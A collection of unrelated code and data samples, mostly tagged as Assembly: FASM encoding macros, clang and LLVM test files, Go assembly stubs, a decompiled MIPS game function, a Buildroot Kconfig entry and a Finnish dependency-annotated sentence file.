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; Windows 1258
rept 1 { local ..encoding
__encoding equ ..encoding }
virtual at 0
__encoding::
times 80h dw %-1
dw 20ACh,?,201Ah,192h,201Eh,2026h,2020h,2021h,2C6h,2030h,?,2039h,152h,?,?,?
dw ?,2018h,2019h,201Ch,201Dh,2022h,2013h,2014h,2DCh,2122h,?,203Ah,153h,?,?,178h
dw 0A0h,0A1h,0A2h,0A3h,0A4h,0A5h,0A6h,0A7h,0A8h,0A9h,0AAh,0ABh,0ACh,0ADh,0AEh,0AFh
dw 0B0h,0B1h,0B2h,0B3h,0B4h,0B5h,0B6h,0B7h,0B8h,0B9h,0BAh,0BBh,0BCh,0BDh,0BEh,0BFh
dw 0C0h,0C1h,0C2h,102h,0C4h,0C5h,0C6h,0C7h,0C8h,0C9h,0CAh,0CBh,300h,0CDh,0CEh,0CFh
dw 110h,0D1h,309h,0D3h,0D4h,1A0h,0D6h,0D7h,0D8h,0D9h,0DAh,0DBh,0DCh,1AFh,303h,0DFh
dw 0E0h,0E1h,0E2h,103h,0E4h,0E5h,0E6h,0E7h,0E8h,0E9h,0EAh,0EBh,301h,0EDh,0EEh,0EFh
dw 111h,0F1h,323h,0F3h,0F4h,1A1h,0F6h,0F7h,0F8h,0F9h,0FAh,0FBh,0FCh,1B0h,20ABh,0FFh
end virtual
macro du [arg]
{ local offset,char
offset = $-$$
du arg
if arg eqtype ''
repeat ($-offset-$$)/2
load char byte from $$+offset+(%-1)*2
if char > 7Fh
load char word from __encoding:char*2
store word char at $$+offset+(%-1)*2
end if
end repeat
end if }
struc du [args]
{ common label . word
du args }
|
{
"language": "Assembly"
}
|
// expected-no-diagnostics
// Create PCH with #pragma hdrstop processing with no #pragma hdrstop
// RUN: %clang_cc1 -verify -I %S -emit-pch -pch-through-hdrstop-create \
// RUN: -fms-extensions -o %t.pch -x c++-header %s
// Create the PCH object
// RUN: %clang_cc1 -verify -I %S -emit-obj -include-pch %t.pch \
// RUN: -pch-through-hdrstop-create -fms-extensions -o %t.obj -x c++ %s
// The use must still have a #pragma hdrstop
// RUN: %clang_cc1 -verify -I %S -emit-obj -include-pch %t.pch \
// RUN: -pch-through-hdrstop-use -fms-extensions -o %t.obj \
// RUN: -x c++ %S/Inputs/pch-no-hdrstop-use.cpp
#include "Inputs/pch-through1.h"
static int bar() { return 42; }
#include "Inputs/pch-through2.h"
int pch();
|
{
"language": "Assembly"
}
|
SMAL32, rev 6/98. prime.as 15:23:35 Page 1
Sun Jan 28 2001
1
2 ; Primetester
3 ;
4 ;
5 ;
6 ; 27.01.01 Tim Boescke
7
8 USE "cpu3.inc"
00003D: 00 FF 01 9
10 ; sub=-2;
11 ; while ((number+sub)>0)
12 ; {
13 ; test=number;
14 ; while (test>0) test+=sub;
15 ; if (test==0) return 0;
16 ; sub+=-1;
17 ; }
18 ; return 1;
19
20 start:
21
22 NOR allone
000000: 3E 23 ADD allone
000001: 7E 24 ADD allone
000002: 7E 25 STA sub ;sub=-2
000003: 9F 26
27 loop:
28 NOR allone
000004: 3E 29 ADD number
000005: 60 30 innerloop:
31 ADD sub ;
000006: 5F 32 JCC out
000007: C9 33 JCC innerloop
000008: C6 34 out:
35 NOR zero
000009: 3D 36 ADD one
00000A: 7F 37 ADD sub
00000B: 5F 38
39 ADD allone
00000C: 7E 40 JCC noprime
00000D: D9 41
42 NOR allone
00000E: 3E 43 ADD sub
00000F: 5F 44 ADD allone
000010: 7E 45 STA sub ;sub-=1
000011: 9F 46
47 ADD allone
000012: 7E 48 ADD number
000013: 60 49 JCC prime
000014: D6 50 JCC loop
000015: C4 51
52 prime:
53 NOR allone
000016: 3E 54 ADD number ;load prime number
000017: 60 55
SMAL32, rev 6/98. prime.as 15:23:35 Page 2
Sun Jan 28 2001
56 ; Add displaycode here
57 ; (Or breakpoint)
58 JCC next
000018: D9 59
60 noprime:
61 next:
62 NOR allone
000019: 3E 63 ADD number
00001A: 60 64 ADD two
00001B: 5E 65 STA number
00001C: A0 66
67 JCC start
00001D: C0 68
69 two:
70 DCB (2)
00001E: 02 71 sub:
72 DCB (0)
00001F: 00 73
74 number:
75 DCB (3)
000020: 03 76 END
no errors
|
{
"language": "Assembly"
}
|
// RUN: rm -rf %t
// RUN: %clang_cc1 -std=c++11 -fmodules -fmodule-map-file=%S/Inputs/PR25501/module.modulemap -fmodules-cache-path=%t -I%S/Inputs/PR25501 -verify %s
#include "a2.h"
#include "b.h"
auto use = aaa;
// expected-no-diagnostics
|
{
"language": "Assembly"
}
|
// Copyright 2015 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// +build !gccgo
// +build arm,darwin
#include "textflag.h"
//
// System call support for ARM, Darwin
//
// Just jump to package syscall's implementation for all these functions.
// The runtime may know about them.
TEXT ·Syscall(SB),NOSPLIT,$0-28
B syscall·Syscall(SB)
TEXT ·Syscall6(SB),NOSPLIT,$0-40
B syscall·Syscall6(SB)
TEXT ·Syscall9(SB),NOSPLIT,$0-52
B syscall·Syscall9(SB)
TEXT ·RawSyscall(SB),NOSPLIT,$0-28
B syscall·RawSyscall(SB)
TEXT ·RawSyscall6(SB),NOSPLIT,$0-40
B syscall·RawSyscall6(SB)
|
{
"language": "Assembly"
}
|
/* asn1.h for openssl */
#include <wolfssl/openssl/asn1.h>
|
{
"language": "Assembly"
}
|
// Copyright 2014 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// +build ppc64 ppc64le
#include "textflag.h"
#include "asm_ppc64x.h"
// Called by C code generated by cmd/cgo.
// func crosscall2(fn func(a unsafe.Pointer, n int32, ctxt uintptr), a unsafe.Pointer, n int32, ctxt uintptr)
// Saves C callee-saved registers and calls fn with three arguments.
TEXT crosscall2(SB),NOSPLIT|NOFRAME,$0
// TODO(austin): ABI v1 (fn is probably a function descriptor)
// Start with standard C stack frame layout and linkage
MOVD LR, R0
MOVD R0, 16(R1) // Save LR in caller's frame
MOVD R2, 24(R1) // Save TOC in caller's frame
BL saveregs2<>(SB)
MOVDU R1, (-288-3*8-FIXED_FRAME)(R1)
// Initialize Go ABI environment
BL runtime·reginit(SB)
BL runtime·load_g(SB)
MOVD R3, R12
MOVD R3, CTR
MOVD R4, FIXED_FRAME+0(R1)
MOVD R5, FIXED_FRAME+8(R1)
MOVD R6, FIXED_FRAME+16(R1)
BL (CTR)
ADD $(288+3*8+FIXED_FRAME), R1
BL restoreregs2<>(SB)
MOVD 24(R1), R2
MOVD 16(R1), R0
MOVD R0, LR
RET
TEXT saveregs2<>(SB),NOSPLIT|NOFRAME,$0
// O=-288; for R in R{14..31}; do echo "\tMOVD\t$R, $O(R1)"|sed s/R30/g/; ((O+=8)); done; for F in F{14..31}; do echo "\tFMOVD\t$F, $O(R1)"; ((O+=8)); done
MOVD R14, -288(R1)
MOVD R15, -280(R1)
MOVD R16, -272(R1)
MOVD R17, -264(R1)
MOVD R18, -256(R1)
MOVD R19, -248(R1)
MOVD R20, -240(R1)
MOVD R21, -232(R1)
MOVD R22, -224(R1)
MOVD R23, -216(R1)
MOVD R24, -208(R1)
MOVD R25, -200(R1)
MOVD R26, -192(R1)
MOVD R27, -184(R1)
MOVD R28, -176(R1)
MOVD R29, -168(R1)
MOVD g, -160(R1)
MOVD R31, -152(R1)
FMOVD F14, -144(R1)
FMOVD F15, -136(R1)
FMOVD F16, -128(R1)
FMOVD F17, -120(R1)
FMOVD F18, -112(R1)
FMOVD F19, -104(R1)
FMOVD F20, -96(R1)
FMOVD F21, -88(R1)
FMOVD F22, -80(R1)
FMOVD F23, -72(R1)
FMOVD F24, -64(R1)
FMOVD F25, -56(R1)
FMOVD F26, -48(R1)
FMOVD F27, -40(R1)
FMOVD F28, -32(R1)
FMOVD F29, -24(R1)
FMOVD F30, -16(R1)
FMOVD F31, -8(R1)
RET
TEXT restoreregs2<>(SB),NOSPLIT|NOFRAME,$0
// O=-288; for R in R{14..31}; do echo "\tMOVD\t$O(R1), $R"|sed s/R30/g/; ((O+=8)); done; for F in F{14..31}; do echo "\tFMOVD\t$O(R1), $F"; ((O+=8)); done
MOVD -288(R1), R14
MOVD -280(R1), R15
MOVD -272(R1), R16
MOVD -264(R1), R17
MOVD -256(R1), R18
MOVD -248(R1), R19
MOVD -240(R1), R20
MOVD -232(R1), R21
MOVD -224(R1), R22
MOVD -216(R1), R23
MOVD -208(R1), R24
MOVD -200(R1), R25
MOVD -192(R1), R26
MOVD -184(R1), R27
MOVD -176(R1), R28
MOVD -168(R1), R29
MOVD -160(R1), g
MOVD -152(R1), R31
FMOVD -144(R1), F14
FMOVD -136(R1), F15
FMOVD -128(R1), F16
FMOVD -120(R1), F17
FMOVD -112(R1), F18
FMOVD -104(R1), F19
FMOVD -96(R1), F20
FMOVD -88(R1), F21
FMOVD -80(R1), F22
FMOVD -72(R1), F23
FMOVD -64(R1), F24
FMOVD -56(R1), F25
FMOVD -48(R1), F26
FMOVD -40(R1), F27
FMOVD -32(R1), F28
FMOVD -24(R1), F29
FMOVD -16(R1), F30
FMOVD -8(R1), F31
RET
|
{
"language": "Assembly"
}
|
// RUN: c-index-test -write-pch %t.h.pch -x c-header %S/Inputs/a.h
// RUN: env CINDEXTEST_EDITING=1 c-index-test -test-load-source-reparse 5 all -I%S/Inputs -include %t.h %s | FileCheck %s
#include "a.h"
#include "b.h"
A a;
B b;
// CHECK: a.h:3:13: TypedefDecl=A:3:13 (Definition) Extent=[3:1 - 3:14]
// CHECK: b.h:1:15: TypedefDecl=B:1:15 (Definition) Extent=[1:1 - 1:16]
|
{
"language": "Assembly"
}
|
config BR2_PACKAGE_EUDEV
bool "eudev"
depends on BR2_ROOTFS_DEVICE_CREATION_DYNAMIC_EUDEV
depends on BR2_USE_MMU # uses fork()
depends on BR2_USE_WCHAR # needs C99 compiler
depends on !BR2_STATIC_LIBS # kmod
select BR2_PACKAGE_HAS_UDEV
select BR2_PACKAGE_UTIL_LINUX
select BR2_PACKAGE_UTIL_LINUX_LIBBLKID
select BR2_PACKAGE_KMOD
help
eudev is a fork of systemd-udev with the goal of obtaining
better compatibility with existing software such as OpenRC and
Upstart, older kernels, various toolchains and anything else
required by users and various distributions.
https://wiki.gentoo.org/wiki/Project:Eudev
if BR2_PACKAGE_EUDEV
config BR2_PACKAGE_PROVIDES_UDEV
default "eudev"
config BR2_PACKAGE_EUDEV_RULES_GEN
bool "enable rules generator"
help
Enable persistent rules generator
config BR2_PACKAGE_EUDEV_ENABLE_HWDB
bool "enable hwdb installation"
default y
help
Enables hardware database installation to /etc/udev/hwdb.d
endif
comment "eudev needs eudev /dev management"
depends on BR2_USE_MMU
depends on !BR2_ROOTFS_DEVICE_CREATION_DYNAMIC_EUDEV
comment "eudev needs a toolchain w/ wchar, dynamic library"
depends on BR2_USE_MMU
depends on !BR2_USE_WCHAR || BR2_STATIC_LIBS
|
{
"language": "Assembly"
}
|
; Test writeOnly attribute
; RUN: opt -module-summary %s -o %t1.bc
; RUN: opt -module-summary %p/Inputs/dot-dumper2.ll -o %t2.bc
; RUN: llvm-lto2 run -save-temps %t1.bc %t2.bc -o %t3 \
; RUN: -r=%t1.bc,main,px \
; RUN: -r=%t1.bc,A, \
; RUN: -r=%t2.bc,A,p
; RUN: cat %t3.index.dot | FileCheck --check-prefix=COMBINED %s
; COMBINED: digraph Summary {
; COMBINED-NEXT: // Module:
; COMBINED-NEXT: subgraph cluster_0 {
; COMBINED-NEXT: style = filled;
; COMBINED-NEXT: color = lightgrey;
; COMBINED-NEXT: label =
; COMBINED-NEXT: node [style=filled,fillcolor=lightblue];
; COMBINED-NEXT: M0_[[MAIN:[0-9]+]] [shape="record",label="main|extern (inst: 2, ffl: 00000)}"]; // function
; COMBINED-NEXT: // Edges:
; COMBINED-NEXT: }
; COMBINED-NEXT: // Module:
; COMBINED-NEXT: subgraph cluster_1 {
; COMBINED-NEXT: style = filled;
; COMBINED-NEXT: color = lightgrey;
; COMBINED-NEXT: label =
; COMBINED-NEXT: node [style=filled,fillcolor=lightblue];
; COMBINED-NEXT: M1_[[A:[0-9]+]] [shape="Mrecord",label="A|extern}"]; // variable, writeOnly
; COMBINED-NEXT: // Edges:
; COMBINED-NEXT: }
; COMBINED-NEXT: // Cross-module edges:
; COMBINED-NEXT: M0_[[MAIN]] -> M1_[[A]] [style=dashed,color=violetred]; // writeOnly-ref
; COMBINED-NEXT: }
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
@A = external local_unnamed_addr global i32, align 4
; Function Attrs: nounwind uwtable
define i32 @main() local_unnamed_addr {
store i32 42, i32* @A, align 4
ret i32 0
}
|
{
"language": "Assembly"
}
|
glabel func_8094FC70
/* 009B0 8094FC70 27BDFF68 */ addiu $sp, $sp, 0xFF68 ## $sp = FFFFFF68
/* 009B4 8094FC74 3C0E8096 */ lui $t6, %hi(D_8095C240) ## $t6 = 80960000
/* 009B8 8094FC78 AFBF0064 */ sw $ra, 0x0064($sp)
/* 009BC 8094FC7C AFB60060 */ sw $s6, 0x0060($sp)
/* 009C0 8094FC80 AFB5005C */ sw $s5, 0x005C($sp)
/* 009C4 8094FC84 AFB40058 */ sw $s4, 0x0058($sp)
/* 009C8 8094FC88 AFB30054 */ sw $s3, 0x0054($sp)
/* 009CC 8094FC8C AFB20050 */ sw $s2, 0x0050($sp)
/* 009D0 8094FC90 AFB1004C */ sw $s1, 0x004C($sp)
/* 009D4 8094FC94 AFB00048 */ sw $s0, 0x0048($sp)
/* 009D8 8094FC98 F7BA0040 */ sdc1 $f26, 0x0040($sp)
/* 009DC 8094FC9C F7B80038 */ sdc1 $f24, 0x0038($sp)
/* 009E0 8094FCA0 F7B60030 */ sdc1 $f22, 0x0030($sp)
/* 009E4 8094FCA4 F7B40028 */ sdc1 $f20, 0x0028($sp)
/* 009E8 8094FCA8 25CEC240 */ addiu $t6, $t6, %lo(D_8095C240) ## $t6 = 8095C240
/* 009EC 8094FCAC 8DD80000 */ lw $t8, 0x0000($t6) ## 8095C240
/* 009F0 8094FCB0 27B40078 */ addiu $s4, $sp, 0x0078 ## $s4 = FFFFFFE0
/* 009F4 8094FCB4 3C198096 */ lui $t9, %hi(D_8095C24C) ## $t9 = 80960000
/* 009F8 8094FCB8 AE980000 */ sw $t8, 0x0000($s4) ## FFFFFFE0
/* 009FC 8094FCBC 8DCF0004 */ lw $t7, 0x0004($t6) ## 8095C244
/* 00A00 8094FCC0 2739C24C */ addiu $t9, $t9, %lo(D_8095C24C) ## $t9 = 8095C24C
/* 00A04 8094FCC4 27B5006C */ addiu $s5, $sp, 0x006C ## $s5 = FFFFFFD4
/* 00A08 8094FCC8 AE8F0004 */ sw $t7, 0x0004($s4) ## FFFFFFE4
/* 00A0C 8094FCCC 8DD80008 */ lw $t8, 0x0008($t6) ## 8095C248
/* 00A10 8094FCD0 3C018096 */ lui $at, %hi(D_8095C588) ## $at = 80960000
/* 00A14 8094FCD4 00808825 */ or $s1, $a0, $zero ## $s1 = 00000000
/* 00A18 8094FCD8 AE980008 */ sw $t8, 0x0008($s4) ## FFFFFFE8
/* 00A1C 8094FCDC 8F290000 */ lw $t1, 0x0000($t9) ## 8095C24C
/* 00A20 8094FCE0 00A09825 */ or $s3, $a1, $zero ## $s3 = 00000000
/* 00A24 8094FCE4 24120007 */ addiu $s2, $zero, 0x0007 ## $s2 = 00000007
/* 00A28 8094FCE8 AEA90000 */ sw $t1, 0x0000($s5) ## FFFFFFD4
/* 00A2C 8094FCEC 8F280004 */ lw $t0, 0x0004($t9) ## 8095C250
/* 00A30 8094FCF0 27B60084 */ addiu $s6, $sp, 0x0084 ## $s6 = FFFFFFEC
/* 00A34 8094FCF4 AEA80004 */ sw $t0, 0x0004($s5) ## FFFFFFD8
/* 00A38 8094FCF8 8F290008 */ lw $t1, 0x0008($t9) ## 8095C254
/* 00A3C 8094FCFC AEA90008 */ sw $t1, 0x0008($s5) ## FFFFFFDC
/* 00A40 8094FD00 C43AC588 */ lwc1 $f26, %lo(D_8095C588)($at)
/* 00A44 8094FD04 3C013F80 */ lui $at, 0x3F80 ## $at = 3F800000
/* 00A48 8094FD08 4481C000 */ mtc1 $at, $f24 ## $f24 = 1.00
/* 00A4C 8094FD0C 3C014248 */ lui $at, 0x4248 ## $at = 42480000
/* 00A50 8094FD10 4481B000 */ mtc1 $at, $f22 ## $f22 = 50.00
/* 00A54 8094FD14 3C014270 */ lui $at, 0x4270 ## $at = 42700000
/* 00A58 8094FD18 4481A000 */ mtc1 $at, $f20 ## $f20 = 60.00
/* 00A5C 8094FD1C 00000000 */ nop
.L8094FD20:
/* 00A60 8094FD20 0C00CFC8 */ jal Math_Rand_CenteredFloat
/* 00A64 8094FD24 4600A306 */ mov.s $f12, $f20
/* 00A68 8094FD28 C6240024 */ lwc1 $f4, 0x0024($s1) ## 00000024
/* 00A6C 8094FD2C 4600B306 */ mov.s $f12, $f22
/* 00A70 8094FD30 46040180 */ add.s $f6, $f0, $f4
/* 00A74 8094FD34 0C00CFC8 */ jal Math_Rand_CenteredFloat
/* 00A78 8094FD38 E7A60084 */ swc1 $f6, 0x0084($sp)
/* 00A7C 8094FD3C C62800BC */ lwc1 $f8, 0x00BC($s1) ## 000000BC
/* 00A80 8094FD40 C62A0054 */ lwc1 $f10, 0x0054($s1) ## 00000054
/* 00A84 8094FD44 C6320028 */ lwc1 $f18, 0x0028($s1) ## 00000028
/* 00A88 8094FD48 4600A306 */ mov.s $f12, $f20
/* 00A8C 8094FD4C 460A4402 */ mul.s $f16, $f8, $f10
/* 00A90 8094FD50 46109100 */ add.s $f4, $f18, $f16
/* 00A94 8094FD54 46040180 */ add.s $f6, $f0, $f4
/* 00A98 8094FD58 0C00CFC8 */ jal Math_Rand_CenteredFloat
/* 00A9C 8094FD5C E7A60088 */ swc1 $f6, 0x0088($sp)
/* 00AA0 8094FD60 C628002C */ lwc1 $f8, 0x002C($s1) ## 0000002C
/* 00AA4 8094FD64 46080280 */ add.s $f10, $f0, $f8
/* 00AA8 8094FD68 0C03F66B */ jal Math_Rand_ZeroOne
## Rand.Next() float
/* 00AAC 8094FD6C E7AA008C */ swc1 $f10, 0x008C($sp)
/* 00AB0 8094FD70 46180480 */ add.s $f18, $f0, $f24
/* 00AB4 8094FD74 24040050 */ addiu $a0, $zero, 0x0050 ## $a0 = 00000050
/* 00AB8 8094FD78 24050064 */ addiu $a1, $zero, 0x0064 ## $a1 = 00000064
/* 00ABC 8094FD7C 0C01DF64 */ jal Math_Rand_S16Offset
/* 00AC0 8094FD80 E7B2007C */ swc1 $f18, 0x007C($sp)
/* 00AC4 8094FD84 00028400 */ sll $s0, $v0, 16
/* 00AC8 8094FD88 0C03F66B */ jal Math_Rand_ZeroOne
## Rand.Next() float
/* 00ACC 8094FD8C 00108403 */ sra $s0, $s0, 16
/* 00AD0 8094FD90 461A003C */ c.lt.s $f0, $f26
/* 00AD4 8094FD94 02602025 */ or $a0, $s3, $zero ## $a0 = 00000000
/* 00AD8 8094FD98 02C02825 */ or $a1, $s6, $zero ## $a1 = FFFFFFEC
/* 00ADC 8094FD9C 02803025 */ or $a2, $s4, $zero ## $a2 = FFFFFFE0
/* 00AE0 8094FDA0 4500000F */ bc1f .L8094FDE0
/* 00AE4 8094FDA4 02A03825 */ or $a3, $s5, $zero ## $a3 = FFFFFFD4
/* 00AE8 8094FDA8 240A0019 */ addiu $t2, $zero, 0x0019 ## $t2 = 00000019
/* 00AEC 8094FDAC 240B0002 */ addiu $t3, $zero, 0x0002 ## $t3 = 00000002
/* 00AF0 8094FDB0 240C0001 */ addiu $t4, $zero, 0x0001 ## $t4 = 00000001
/* 00AF4 8094FDB4 AFAC001C */ sw $t4, 0x001C($sp)
/* 00AF8 8094FDB8 AFAB0018 */ sw $t3, 0x0018($sp)
/* 00AFC 8094FDBC AFAA0014 */ sw $t2, 0x0014($sp)
/* 00B00 8094FDC0 02602025 */ or $a0, $s3, $zero ## $a0 = 00000000
/* 00B04 8094FDC4 02C02825 */ or $a1, $s6, $zero ## $a1 = FFFFFFEC
/* 00B08 8094FDC8 02803025 */ or $a2, $s4, $zero ## $a2 = FFFFFFE0
/* 00B0C 8094FDCC 02A03825 */ or $a3, $s5, $zero ## $a3 = FFFFFFD4
/* 00B10 8094FDD0 0C00A586 */ jal func_80029618
/* 00B14 8094FDD4 AFB00010 */ sw $s0, 0x0010($sp)
/* 00B18 8094FDD8 10000009 */ beq $zero, $zero, .L8094FE00
/* 00B1C 8094FDDC 2652FFFF */ addiu $s2, $s2, 0xFFFF ## $s2 = 00000006
.L8094FDE0:
/* 00B20 8094FDE0 240D0019 */ addiu $t5, $zero, 0x0019 ## $t5 = 00000019
/* 00B24 8094FDE4 240E0001 */ addiu $t6, $zero, 0x0001 ## $t6 = 00000001
/* 00B28 8094FDE8 AFAE001C */ sw $t6, 0x001C($sp)
/* 00B2C 8094FDEC AFAD0014 */ sw $t5, 0x0014($sp)
/* 00B30 8094FDF0 AFB00010 */ sw $s0, 0x0010($sp)
/* 00B34 8094FDF4 0C00A586 */ jal func_80029618
/* 00B38 8094FDF8 AFA00018 */ sw $zero, 0x0018($sp)
/* 00B3C 8094FDFC 2652FFFF */ addiu $s2, $s2, 0xFFFF ## $s2 = 00000005
.L8094FE00:
/* 00B40 8094FE00 0641FFC7 */ bgez $s2, .L8094FD20
/* 00B44 8094FE04 00000000 */ nop
/* 00B48 8094FE08 3C028096 */ lui $v0, %hi(D_809668D1) ## $v0 = 80960000
/* 00B4C 8094FE0C 244268D1 */ addiu $v0, $v0, %lo(D_809668D1) ## $v0 = 809668D1
/* 00B50 8094FE10 904F0000 */ lbu $t7, 0x0000($v0) ## 809668D1
/* 00B54 8094FE14 02202025 */ or $a0, $s1, $zero ## $a0 = 00000000
/* 00B58 8094FE18 25F80001 */ addiu $t8, $t7, 0x0001 ## $t8 = 00000001
/* 00B5C 8094FE1C 0C255F04 */ jal func_80957C10
/* 00B60 8094FE20 A0580000 */ sb $t8, 0x0000($v0) ## 809668D1
/* 00B64 8094FE24 8FBF0064 */ lw $ra, 0x0064($sp)
/* 00B68 8094FE28 D7B40028 */ ldc1 $f20, 0x0028($sp)
/* 00B6C 8094FE2C D7B60030 */ ldc1 $f22, 0x0030($sp)
/* 00B70 8094FE30 D7B80038 */ ldc1 $f24, 0x0038($sp)
/* 00B74 8094FE34 D7BA0040 */ ldc1 $f26, 0x0040($sp)
/* 00B78 8094FE38 8FB00048 */ lw $s0, 0x0048($sp)
/* 00B7C 8094FE3C 8FB1004C */ lw $s1, 0x004C($sp)
/* 00B80 8094FE40 8FB20050 */ lw $s2, 0x0050($sp)
/* 00B84 8094FE44 8FB30054 */ lw $s3, 0x0054($sp)
/* 00B88 8094FE48 8FB40058 */ lw $s4, 0x0058($sp)
/* 00B8C 8094FE4C 8FB5005C */ lw $s5, 0x005C($sp)
/* 00B90 8094FE50 8FB60060 */ lw $s6, 0x0060($sp)
/* 00B94 8094FE54 03E00008 */ jr $ra
/* 00B98 8094FE58 27BD0098 */ addiu $sp, $sp, 0x0098 ## $sp = 00000000
|
{
"language": "Assembly"
}
|
T1 N 0 7 Delilah
#1 Lemma T1 Delilah
A1 SUBCAT T1 Prop
A2 NUM T1 Sg
A3 CASE T1 Nom
A4 OTHER T1 UNK
T2 A 8 15 Eilinen
#2 Lemma T2 eilinen
A5 NUM T2 Sg
A6 CASE T2 Nom
A7 CMP T2 Pos
A8 CASECHANGE T2 Cap
T3 N 16 33 Delilah-musikaali
#3 Lemma T3 Delilah-musikaali
A9 NUM T3 Sg
A10 CASE T3 Nom
A11 CASECHANGE T3 cap
A12 OTHER T3 UNK
T4 V 34 37 oli
#4 Lemma T4 olla
A13 PRS T4 Sg3
A14 VOICE T4 Act
A15 TENSE T4 Prt
A16 MOOD T4 Ind
A17 CASECHANGE T4 cap
T5 Adv 38 45 todella
#5 Lemma T5 todella
A18 CASECHANGE T5 cap
T6 A 46 56 onnistunut
#6 Lemma T6 onnistunut
A19 NUM T6 Sg
A20 CASE T6 Nom
A21 CMP T6 Pos
A22 CASECHANGE T6 cap
T7 N 57 68 lopputyöksi
#7 Lemma T7 loppu|työ
A23 NUM T7 Sg
A24 CASE T7 Tra
A25 CASECHANGE T7 cap
T8 Punct 69 70 .
#8 Lemma T8 .
R1 punct Arg1:T6 Arg2:T8
R2 amod Arg1:T3 Arg2:T2
R3 nommod Arg1:T6 Arg2:T7
R4 advmod Arg1:T6 Arg2:T5
R5 cop Arg1:T6 Arg2:T4
R6 nsubj-cop Arg1:T6 Arg2:T3
T9 C 71 77 Vaikka
#9 Lemma T9 vaikka
A26 SUBCAT T9 CS
A27 CASECHANGE T9 Cap
T10 N 78 88 sisällöstä
#10 Lemma T10 sisältö
A28 NUM T10 Sg
A29 CASE T10 Ela
A30 CASECHANGE T10 cap
T11 V 89 91 ei
#11 Lemma T11 ei
A31 SUBCAT T11 Neg
A32 PRS T11 Sg3
A33 VOICE T11 Act
A34 CASECHANGE T11 cap
T12 Pron 92 95 sen
#12 Lemma T12 se
A35 SUBCAT T12 Dem
A36 NUM T12 Sg
A37 CASE T12 Gen
A38 CASECHANGE T12 cap
T13 Adv 96 105 suuremmin
#13 Lemma T13 suuri
A39 DRV T13 Der_sti
A40 CMP T13 Comp
A41 CASECHANGE T13 cap
T14 V 106 113 noussut
#14 Lemma T14 nousta
A42 NUM T14 Sg
A43 CASE T14 Nom
A44 VOICE T14 Act
A45 PCP T14 PrfPrc
A46 CMP T14 Pos
A47 CASECHANGE T14 cap
T15 Adv 114 118 ylös
#15 Lemma T15 ylös
A48 CASECHANGE T15 cap
T16 N 119 125 teesiä
#16 Lemma T16 teesi
A49 NUM T16 Sg
A50 CASE T16 Par
A51 CASECHANGE T16 cap
T17 C 126 129 tai
#17 Lemma T17 tai
A52 SUBCAT T17 CC
A53 CASECHANGE T17 cap
T18 N 130 140 julistusta
#18 Lemma T18 julistus
A54 NUM T18 Sg
A55 CASE T18 Par
A56 CASECHANGE T18 cap
T19 Punct 141 142 ,
#19 Lemma T19 ,
T20 V 143 146 oli
#20 Lemma T20 olla
A57 PRS T20 Sg3
A58 VOICE T20 Act
A59 TENSE T20 Prt
A60 MOOD T20 Ind
A61 CASECHANGE T20 cap
T21 Pcle 147 151 ihan
#21 Lemma T21 ihan
A62 CASECHANGE T21 cap
T22 A 152 159 pelkkää
#22 Lemma T22 pelkkä
A63 NUM T22 Sg
A64 CASE T22 Par
A65 CMP T22 Pos
A66 CASECHANGE T22 cap
T23 N 160 172 viihdettäkin
#23 Lemma T23 viihde
A67 NUM T23 Sg
A68 CASE T23 Par
A69 CLIT T23 Foc_kin
A70 CASECHANGE T23 cap
T24 A 173 177 kiva
#24 Lemma T24 kiva
A71 NUM T24 Sg
A72 CASE T24 Nom
A73 CMP T24 Pos
A74 CASECHANGE T24 cap
T25 V 178 184 katsoa
#25 Lemma T25 katsoa
A75 NUM T25 Sg
A76 CASE T25 Lat
A77 VOICE T25 Act
A78 INF T25 Inf1
A79 CASECHANGE T25 cap
T26 Punct 185 186 .
#26 Lemma T26 .
R7 conj Arg1:T16 Arg2:T18
R8 advcl Arg1:T24 Arg2:T14
R9 cc Arg1:T16 Arg2:T17
R10 advmod Arg1:T14 Arg2:T13
R11 amod Arg1:T23 Arg2:T22
R12 nommod Arg1:T14 Arg2:T10
R13 neg Arg1:T14 Arg2:T11
R14 punct Arg1:T24 Arg2:T26
R15 mark Arg1:T14 Arg2:T9
R16 advmod Arg1:T22 Arg2:T21
R17 dep Arg1:T13 Arg2:T12
R18 cop Arg1:T24 Arg2:T20
R19 dobj Arg1:T25 Arg2:T23
R20 nsubj-exp Arg1:T14 Arg2:T18
R21 nsubj Arg1:T14 Arg2:T16
R22 csubj-cop Arg1:T24 Arg2:T25
R23 punct Arg1:T14 Arg2:T19
R24 advmod Arg1:T14 Arg2:T15
T27 N 187 202 Käsikirjoittaja
#27 Lemma T27 käsikirjoittaa
A80 NUM T27 Sg
A81 CASE T27 Nom
A82 DRV T27 Der_ja
A83 CASECHANGE T27 Cap
T28 N 203 207 Suvi
#28 Lemma T28 Suvi
A84 SUBCAT T28 Prop
T29 N 208 218 Kanniainen
#29 Lemma T29 Kanniainen
A85 SUBCAT T29 Prop
A86 NUM T29 Sg
A87 CASE T29 Nom
A88 OTHER T29 UNK
T30 V 219 222 oli
#30 Lemma T30 olla
A89 PRS T30 Sg3
A90 VOICE T30 Act
A91 TENSE T30 Prt
A92 MOOD T30 Ind
A93 CASECHANGE T30 cap
T31 N 223 233 mielestäni
#31 Lemma T31 mieli
A94 NUM T31 Sg
A95 CASE T31 Ela
A96 POSS T31 PxSg1
A97 CASECHANGE T31 cap
T32 V 234 244 onnistunut
#32 Lemma T32 onnistua
A98 NUM T32 Sg
A99 CASE T32 Nom
A100 VOICE T32 Act
A101 PCP T32 PrfPrc
A102 CMP T32 Pos
A103 CASECHANGE T32 cap
T33 Pcle 245 251 paitsi
#33 Lemma T33 paitsi
A104 CASECHANGE T33 cap
T34 N 252 265 ohjauksessaan
#34 Lemma T34 ohjaus
A105 NUM T34 Sg
A106 CASE T34 Ine
A107 POSS T34 PxSg3
A108 CASECHANGE T34 cap
T35 Punct 266 267 ,
#35 Lemma T35 ,
T36 V 268 272 myös
#36 Lemma T36 myödä
A109 PRS T36 Sg2
A110 VOICE T36 Act
A111 MOOD T36 Imprt
A112 CLIT T36 Foc_s
A113 CASECHANGE T36 cap
T37 N 273 291 käsikirjoituksessa
#37 Lemma T37 käsi|kirjoitus
A114 NUM T37 Sg
A115 CASE T37 Ine
A116 CASECHANGE T37 cap
T38 Punct 292 293 .
#38 Lemma T38 .
